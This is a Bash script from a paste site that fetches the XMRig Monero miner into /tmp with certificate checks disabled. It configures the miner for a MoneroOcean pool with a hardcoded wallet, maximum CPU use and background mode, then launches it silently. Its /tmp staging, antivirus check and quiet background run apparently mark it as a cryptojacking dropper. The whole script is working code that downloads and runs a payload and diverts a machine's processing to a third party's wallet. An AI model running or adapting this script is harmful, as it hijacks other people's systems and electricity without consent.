From Perl Earthworm, 2 Years ago, written in Bash.
- view diff
Embed
  1. #!/bin/bash
  2. # download xmr
  3. if ! wget https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz -O /tmp/1.tar.gz --no-check-certificate; then
  4.   echo "ERROR: Can't download https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-static-x64.tar.gz file to /tmp/xmrig.tar.gz"
  5.   exit 1
  6. fi
  7. # tar gz
  8. if ! tar xf /tmp/1.tar.gz -C /tmp/; then
  9.   echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/moneroocean directory"
  10.   rm /tmp/1.tar.gz /tmp/2.sh
  11.   exit 1
  12. fi
  13. # rname
  14. mv /tmp/xmrig-6.15.0 /tmp/x
  15.  
  16. if [ -f /tmp/x/xmrig ]; then
  17.     echo "WARNING: xmrig is ok"
  18. else
  19.     echo "WARNING: xmrig was removed by antivirus (or some other problem)"
  20. fi
  21.  
  22.  
  23.  
  24. # port
  25. EXP_MONERO_HASHRATE=$(( CPU_THREADS * 700 / 1000))
  26. if [ -z $EXP_MONERO_HASHRATE ]; then
  27.   echo "ERROR: Can't compute projected Monero CN hashrate"
  28.   exit 1
  29. fi
  30.  
  31. power2() {
  32.   if ! type bc >/dev/null; then
  33.     if   [ "$1" -gt "8192" ]; then
  34.       echo "8192"
  35.     elif [ "$1" -gt "4096" ]; then
  36.       echo "4096"
  37.     elif [ "$1" -gt "2048" ]; then
  38.       echo "2048"
  39.     elif [ "$1" -gt "1024" ]; then
  40.       echo "1024"
  41.     elif [ "$1" -gt "512" ]; then
  42.       echo "512"
  43.     elif [ "$1" -gt "256" ]; then
  44.       echo "256"
  45.     elif [ "$1" -gt "128" ]; then
  46.       echo "128"
  47.     elif [ "$1" -gt "64" ]; then
  48.       echo "64"
  49.     elif [ "$1" -gt "32" ]; then
  50.       echo "32"
  51.     elif [ "$1" -gt "16" ]; then
  52.       echo "16"
  53.     elif [ "$1" -gt "8" ]; then
  54.       echo "8"
  55.     elif [ "$1" -gt "4" ]; then
  56.       echo "4"
  57.     elif [ "$1" -gt "2" ]; then
  58.       echo "2"
  59.     else
  60.       echo "1"
  61.     fi
  62.   else
  63.     echo "x=l($1)/l(2); scale=0; 2^((x+0.5)/1)" | bc -l;
  64.   fi
  65. }
  66.  
  67.  
  68. PORT=$(( $EXP_MONERO_HASHRATE * 30 ))
  69. PORT=$(( $PORT == 0 ? 1 : $PORT ))
  70. PORT=`power2 $PORT`
  71. PORT=$(( 10000 + $PORT ))
  72. if [ -z $PORT ]; then
  73.   echo "ERROR: Can't compute port"
  74.   exit 1
  75. fi
  76.  
  77. if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
  78.   echo "ERROR: Wrong computed port value: $PORT"
  79.   exit 1
  80. fi
  81.  
  82.  
  83. # config
  84. rm /tmp/1.tar.gz
  85. sed -i 's/"donate-level": *[^,]*,/"donate-level": 0,/' /tmp/x/config.json
  86. sed -i 's/"url": *"[^"]*",/"url": "gulf.moneroocean.stream:'$PORT'",/' /tmp/x/config.json
  87. sed -i 's/"user": *"[^"]*",/"user": "86dKzpUoSZMbk5gmAnR9CThGn5hTfcqKqBpQdGogwRRiN8FUpcS8kZFW3t5GnWY879Vwidm8DcTUgZLjf8ySvUhc6ymb3Pu",/' /tmp/x/config.json
  88. sed -i 's/"pass": *"[^"]*",/"pass": "x",/' /tmp/x/config.json
  89. sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' /tmp/x/config.json
  90. sed -i 's#"log-file": *null,#"log-file": "'/tmp/x/xmrig.log'",#' /tmp/x/config.json
  91. sed -i 's/"syslog": *[^,]*,/"syslog": true,/' /tmp/x/config.json
  92. sed -i 's/"background": *false,/"background": true,/' /tmp/x/config.json
  93.  
  94.  
  95. # miner.sh
  96. cat >/tmp/x/miner.sh <<EOL
  97. #!/bin/bash
  98. if ! pidof xmrig >/dev/null; then
  99.   nice /tmp/x/xmrig \$*
  100. else
  101.   echo "Monero miner is already running in the background. Refusing to run another one."
  102.   echo "Run \"killall xmrig\" or \"sudo killall xmrig\" if you want to remove background miner first."
  103. fi
  104. EOL
  105.  
  106. chmod +x /tmp/x/miner.sh
  107. # run
  108. /bin/bash /tmp/x/miner.sh --config=/tmp/x/config.json >/dev/null 2>&1
  109. echo "[*] Setup complete"
  110. exit 1